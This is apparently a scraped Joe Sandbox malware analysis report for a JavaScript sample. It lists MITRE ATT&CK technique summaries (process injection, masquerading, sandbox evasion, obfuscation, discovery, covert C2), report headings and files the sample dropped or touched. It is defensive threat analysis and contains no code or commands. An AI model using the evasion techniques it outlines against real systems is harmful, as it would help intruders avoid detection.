Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 23742400475728052.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3ec6a4ef-0576-4927-a149-246dd03c6571.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
23742400475728052.js